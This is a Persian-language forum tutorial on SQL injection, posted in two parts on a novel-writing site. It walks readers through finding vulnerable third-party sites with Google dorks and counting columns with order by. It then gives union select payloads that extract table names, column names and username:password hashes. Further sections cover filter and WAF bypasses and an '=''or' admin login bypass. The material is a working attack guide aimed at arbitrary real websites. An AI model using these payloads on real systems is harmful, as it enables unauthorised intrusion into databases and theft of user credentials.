خوش آمدید به رمان ۹۸ | بهترین انجمن رمان نویسی

رمان ۹۸ با هدف ترویج فرهنگ کتاب خوانی و تقویت قلم عزیزان ایجاد شده است.
هدف ما همواره ایجاد محیطی گرم و صمیمی و دوستانه بوده
برای مطالعه کامل رمان‌ها و استفاده از امکانات انجمن
به ما بپیوندید و یا وارد انجمن شوید.

^moon shadow^

مدير بازنشسته
کاربر رمان ۹۸
  
عضویت
18/3/18
ارسال ها
1,878
امتیاز واکنش
18,048
امتیاز
428
محل سکونت
Tabriz
زمان حضور
38 روز 17 ساعت 41 دقیقه
نویسنده این موضوع
نفوذ به پایگاه داده نتایج زیر را به همراه خواهد داشت:

  • امکان واکشی اطلاعات حیاتی
  • امکان ویرایش اطلاعات
  • امکان بدست آوردن رمزهای عبور به منظور انجام عملیات بایپس
میزان استفاده از SQL Injection در بین نفوذگران بالاست و حجم بالایی از سایت‌ها این باگ را در خود دارند. هر چند نفوذ کردن به هر پایگاه داده ای به سادگی میسر نیست و برخی پایگاه‌های داده تقریبا نفوذ نا پذیرند.

چگونه یک سایت آسیب پذیر بیابیم؟
یافتن سایت‌های آسیب پذیر ساده است ولی باید زمان لازم را برای این کار صرف کنیم. یکی از راه‌های موثر در یافتن سایت‌های آسیب پذیر استفاده از Google Hacking است. Google Hacking به معنای استفاده از ابزارهای موجود در گوگل برای یافتن سایت‌های نفوذ پذیر می‌باشد.

آموزش کامل Google Hacking

طبیعتا SQL Injection ناشی از اشتباهات برنامه نویسی است که گاهی می‌تواند منجر به دریافت دسترسی‌های مهم شود.

در گوگل عبارت inurl:news_more.php?-= را جستجو کنید. با استفاده از این دورک می‌توانید به سایت‌هایی دسترسی پیدا کنید که در آدرس آن‌ها از عبارت news_more.php?-= استفاده شده باشد.

در نتایج یکی از سایت‌ها را باز کنید و بعد از عدد موجود به عنوان - یک ' (کوتیشن) اضافه کنید.

دو حالت ممکن است رخ دهد، حالت اول این است که سایت بدون هیچ تفاوتی اجرا می‌شود که نشان دهنده این است که سایت باگ ندارد، حالت دوم این است که سایت با تغییری لود می‌شود که یکی از موارد زیر است:

  • صفحه سفید ظاهر می‌شود.
  • متن‌های صفحه یا نمایش داده نمی‌شوند یا ناقص هستند.
  • به صفحه نوشته‌هایی اضافه می‌شود که سابقا نبوده اند.
  • بعضی از عکس‌های صفحه لود نمی‌شوند.
  • و هر تغییر کوچکی در صفحه
که کلیه موارد فوق به این معناست که آن صفحه به احتمال زیاد دارای باگ SQL Injection است.

صفحه زیر یک تارگت برای تست است:



همانطور که در عکس مشخص است به انتهای آدرس کوتیشن اضافه می‌کنیم:



در تصویر فوق می‌بینید نوشته‌های صفحه لود نشده اند که به معنای وجود داشتن یک باگ SQL Injection در صفحه جاری است.

نکته: اگر تاکید دارید که عملیات تست نفوذ را روی سایت خاصی انجام دهید و نمی‌خواهید سایت خود را از گوگل بیابید باید سایت مورد نظر را به صورت کامل پیمایش کنید و تمام صفحات آن را بررسی کنید، چون ممکن است تنها بعضی از صفحات دارای باگ باشند. البته باز نیز می‌توانید از گوگل کمک بگیرید و دورکی مانند: site:site.com .php?-= را جستجو کنید (همانطور که در مطلب گوگل هکینگ ذکر شد به جای site.com نام سایت مورد نظر را وارد کنید) تا تمام صفحات مناسب را بیابید.

تعداد ستون‌های یک جدول در SQL Injection
از آن جا که هدف در تست نفوذ SQL Injection بدست آوردن اطلاعات از پایگاه داده‌ رابـ*ـطه‌ای است، بنابراین یافتن تعداد ستون‌های جدول برای تکمیل عملیات نفوذ ضروری است.

در این مرحله برای دریافت تعداد ستون‌های یک جدول از دستور order by استفاده می‌کنیم. دستور order by برای مرتب کردن اطلاعات دریافتی از بانک اطلاعاتی مورد استفاده برنامه نویسان قرار می‌گیرد، وقتی عددی بالاتر از تعداد ستون‌های پایگاه داده با دستور order by درخواست بدهیم، صفحه جاری با مشکل اجرا می‌گردد.

وقتی یک صفحه آسیب پذیر در سایتی یافتیم به انتهای آن دستور order by اضافه می‌کنیم تا بتوانیم تعداد ستون‌های جدول مورد نظر را بیابیم. روش استفاده از این دستور مانند زیر است:

site.com/news.php?-=10+order+by+20--
در دستورات فوق از + به جای فاصله و از -- برای اعلام پایان دستورات استفاده می‌شود، عددی که در انتهای دستورات وجود دارد تعداد ستون‌های جدول است که باید آن قدر آن را امتحان کنیم که به تعداد ستون درست جدول دست پیدا کنیم.

تعداد ستون جدول در صورتی درست است که صفحه بدون خطا و به صورت کامل لود شود. معمولا کار تست را از از عدد بزرگی شروع و در هر مرحله به نصف کاهش می‌دهیم تا تعداد ستون‌ها را بتوان یافت.

در مثال زیر با وارد کردن عدد 10 صفحه با باگ باز می‌شود ولی با عدد 9 هیچ مشکلی ندارد:





نکته: گاهی صفحه ما باگ دارد ولی هر چه عدد بالایی برای یافتن تعداد ستون تست کنیم باز صفحه با مشکل اجرا می‌شود، این به این معناست که این سایت در حال اخطار کردن مقادیر است و باید از یک بایپس استفاده کرد. (همانطور که در مقاله اصطلاحات هک و امنیت گفته شد بایپس به تلاش برای دور زدن تمهیدات امنیتی گفته می‌شود)

بایپس اول SQL Injection برای Order By
یکی از بایپس‌های استفاده شده در حملات SQL Injection استفاده از + آخر دستورات و ' پس از - است که به صورت زیر می‌باشد:

site.com/news.php?-=5'+order+by+13--+
بایپس دوم برای Order By
به جای order by از group by به شکل زیر استفاده کنید:

site.com/news.php?-=5'+group+by+13--+
گاهی هر چقدر عددها را برای دستیابی به تعداد ستون بالا و پایین می‌کنیم باز به نتیجه مطلوب نمی‌رسیم که در این موارد می‌توانیم از بایپس گفته شده استفاده کرد.

نکته: بعد از دریافت تعداد ستون‌های جدول دیگر نباید خطایی در محتوای صفحه پیدا کنیم، چون از این به بعد شرط اجرای دستورات SQL Injection خطا نداشتن در صفحه است.


* عنوان و برچسب های مناسب
* اطلاعات کامل و جامع
* تصاویر جذاب
* لینک گذاری ساده​
انجمن رمان نویسی


آموزش SQL Injection و تزریق کد به دیتابیس

 
آخرین ویرایش توسط مدیر:

^moon shadow^

مدير بازنشسته
کاربر رمان ۹۸
  
عضویت
18/3/18
ارسال ها
1,878
امتیاز واکنش
18,048
امتیاز
428
محل سکونت
Tabriz
زمان حضور
38 روز 17 ساعت 41 دقیقه
نویسنده این موضوع
بدست آوردن اطلاعات مهم با دستور Union در فرایند SQL Injection
دستور union برای ترکیب اطلاعات دریافتی از پایگاه داده توسط توسعه دهندگان وب مورد استفاده قرار می‌گیرد.

پس از آن‌که در مراحل قبل تعداد ستون‌های دیتابیس را یافتیم با دستور union select سعی در یافتن ستون آسیب پذیر و واکشی اطلاعات مهم از آن داریم.

مثلا در یک تارگت تعداد ستون‌ها 8 عدد باشد، مانند زیر از دستور union select استفاده می‌کنیم:

site.com/news.php?-=5+union+select+1,2,3,4,5,6,7,8--
صفحه دوباره لود می‌شود و در آن اعداد مشخصی نمایش داده می‌شوند که این اعداد شماره ستون‌های آسیب پذیر هستند.

ولی گاهی یافتن شماره ستون در بین حجم بالای اطلاعات درون صفحه مشکل است، که برای حل این مشکل از - قبل از شماره - استفاده می‌کنیم، مانند زیر:

site.com/news.php?-=-5+union+select+1,2,3,4,5,6,7,8--
یک نمونه از اجرای دستور union select را در پایین می‌بینید:



در مثال فوق شماره‌های 3 و 2 و 5 شماره ستون‌های آسیب پذیر است.

نکته: در عملیات تست نفوذ SQL Injection باید بسیار هوشمند باشید چون گاهی ممکن است این اعداد در آدرس عکس‌ها ایجاد شوند. مثلا ممکن است Target شما آدرس عکس‌ها را از پایگاه داده دریافت کند بنابراین کوچکترین تغییرات را باید در صفحه مد نظر داشت.

می توان دو دستور version() و database() را برای یافتن به ترتیب ورژن نسخه MySql و نام پایگاه داده استفاده کرد، که این دستورها باید به جای شماره ستون‌های آسیب پذیر جایگذاری شوند. نمونه این استفاده را در پایین می‌بینید:



نام دیتابیس و ورژن دیتابیس برای تکمیل تست نفوذ مهم است.

یافتن نام جداول پایگاه داده نیز با دستور union select ممکن است، کافی است به جای شماره ستون آسیب پذیر ازgroup_concat(table_name) و در نهایت نیز از دستوری استفاده کنید که اطلاعات جداول موجود در پایگاه داده را از جدولinformation_schema دریافت کند که به شرح زیر است:

site.com/view-news.php?-=-10+union+select+1,2,group_concat(table_name),4,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
در کد بالا به جای ستون شماره 3 از عبارت فوق الذکر استفاده کردیم. در آخر کد‌ها نیز از سورسی استفاده کردیم که نام جداول سایت را استخراج می‌کند.

نتیجه اجرای دستور فوق را در یک سایت مانند زیر می‌بینید:



همانطور که می‌بینید نام جداول پایگاه داده سایت استخراج شدند. طبیعی است برای تکمیل عملیات نفوذ برخی از این جداول مانند users از اهمیت بالاتری برخوردارند. در بررسی هر پایگاه داده‌ای باید دنبال جداول مهم باشیم که معمولا می‌توان از نام آن ها، جداول مهم را شناسایی کرد.

بدست آوردن اطلاعات موجود در جداول پایگاه داده
بعد از این که با روش‌های گفته شده در بالا به آسیب پذیری یک پایگاه داده پی بردیم و توانستیم نام جداول مهم را استخراج کنیم، با مراحلی که در این بخش یاد می‌گیریم می‌توانیم نام‌های کاربری و کلمه‌های عبور ورود به سایت را استخراج کنیم.

آخرین دستوری که یاد گرفتیم دستور group_concat(table_name) بود که برای دریافت نام‌های جداول از آن استفاده می‌کردیم. اگر این دستور را به صورت group_concat(column_name) ویرایش کنیم و به جایinformation_schema.tables از information_schema.columns و به جای table_schema از table_name استفاده کنیم و مقدار database() را با نام هگزادسیمال جدول مورد نظر جایگذاری کنیم، می‌توانیم نام ستون‌های این جدول را استخراج کنیم.

یک مثال را در پایین داریم، که ستون شماره 3 آسیب پذیر است و نام جدول هدف ما user است:

site.com/view-news.php?-=-10+union+select+1,2,group_concat(column_name),4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x7573657273--+
نتیجه اجرای دستور فوق به صورت زیر است:



در حال رسیدن به مکان حساسی از این آموزش هستیم. عبارات داخل پرانتز group_concat را با نام ستون‌های مورد نظر خود جایگذاری می‌کنیم. بهتر است یک ستون در میان از 0x3a استفاده کنیم تا نتایج با : تفکیک شوند (0x3a معادل هگز : است که می‌توان از معادل هگز هر کاراکتر دیگری استفاده کرد). در ضمن کدهای بعد از from را نیز پاک کرده و نام جدول مورد نظر را بدون این که هگز کنیم تایپ می‌کنیم:

site.com/view-news.php?-=-10+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9+from+users--+
نتیجه اجرای کد فوق به شکل زیر است:



پسوردی که در بالا می‌بینید به صورت هش شده است. در این مطلب به رمزنگاری در علوم رایانه‌ای پرداختیم و در مطلب اصطلاحات هک و امنیت که در سایت منتشر شده است اشاره کردیم که هش‌ها در واقع اطلاعات مهم پایگاه داده هستند که به صورت کد شده ذخیره می‌شوند. در این مطلب که در سایت هیتوس منتشر شده است به روش‌های متنوع کرک کردن هش‌ها پرداخته ایم.
بایپس group_concat
در فرایند نفوذ گاهی دیده شده است که تمام کدها درست است و در آخرین مرحله هنگام استفاده از group_concat با مشکل روبرو می‌شویم و چیزی روی صفحه چاپ نمی‌شود. برای حل کردن می‌توان از بایپس زیر بهره ببرید:

unhex(hex(group_concat()))
مثال بخش قبل را با این بایپس ویرایش می‌کنیم:

site.com/view-news.php?-=-10+union+select+1,2,unhex(hex(group_concat(username,0x3a,password())),4,5,6,7,8,9+from+users--+
بایپس Not Acceptable


در برخی از نفوذها هنگام تست تارگت با مشکلی مواجه می‌شویم که به ما ارور Not Acceptable می‌دهد.

به عنوان مثال در هنگام تست کردن یک تارگت در مرحله زیر به این خطا بر خوردیم:

site.com/view.php?13+union+select+1,2,3,4,5--
بایپس Not Acceptable به صورت /*!50000*/ مورد استفاده قرار می‌گیرد. مثال فوق را برای دور زدن خطای Not Acceptable به شکل زیر ویرایش می‌کنیم:

site.com/view.php?13+/*!50000union*/+select+1,2,3,4,5--
اگر باز هم خطا را دریافت کردید این بایپس را برای select و from و group_concat و union هم استفاده کنید.

اگر باز به نتیجه نرسیدید برخی از حرف‌های عبارت‌های select و from و group_concat و union را به حروف کاپیتال تبدیل کنید. مانند زیر:

site.com/view.php?13+/*!50000uNiOn*/+/*!50000sEleCt*/+1,2,3,4,5--
این که چه حروفی را کاپیتال کنید تفاوتی نمی‌کند.

نکته: در حین اجرای دستورات ممکن است یک بار خطایی مانند Not Acceptable را بایپس کرده و با تغییر کدها باز از این خطا را دریافت کنیم. باید دیگر مقادیر را نیز دوباره بایپس کرده و بایپس‌های دیگر را نیز تست کرد تا در نهایت به نتیجه برسیم.

بایپس‌های ویژه برای Forbidden
ارور Forbidden مانند Not Acceptable گاهی مانع فعالیت شما می‌شود. اگر با این خطا مواجه شدید ابتدا بایپس مخصوص Not Acceptable را امتحان کنید، اگر به نتیجه نرسیدید از دو روش زیر استفاده کنید:

1) به جای -- از %23 استفاده کنید.

2) اگر با بایپس بالا به نتیجه نرسیدید قبل از هر کدام از عبارت‌های کلیدی select و from و group_concat و union از بایپس /**Anything**/ استفاده کنید. به جای Anything می‌توانید از هر عبارتی می‌توانید استفاده کنید. مانند:

site.com/view.php?13+union+/**Anything**/select+1,2,3,4,5--
بایپس سریع صفحه ورود admin
یکی از بایپس‌های فوری و موثر صفحات ورود بایپس '=''or' است که البته چند سال پیش تارگت‌های بیشتری برای آن وجود داشت ولی باز نیز بایپس‌هایی برای آن می‌توان یافت. از تکنیک گوگل هکینگ استفاده کنید و صفحاتی مانند /admin.php و/admin را بیابید و لاگین پیج‌های مناسب را بیابید و در مکان username و password از بایپس '=''or' استفاده کنید.

SQL Injection برای صفحات بدون - و ...
در برخی از سایت‌ها با آدرس‌هایی مانند زیر بر می‌خوریم:

site.com/1.html
site.com/news/123/
کار کردن روی چنین تارگت‌هایی نیز ساده است و تنها کافی است مقدار شناسه را با مقادیر مورد نظر تست کنیم. برای تارگت‌های فوق داریم:

site.com/'1.html
site.com/news/'123/

انجمن رمان نویسی


آموزش SQL Injection و تزریق کد به دیتابیس

 
آخرین ویرایش توسط مدیر:
shape1
shape2
shape3
shape4
shape7
shape8
بالا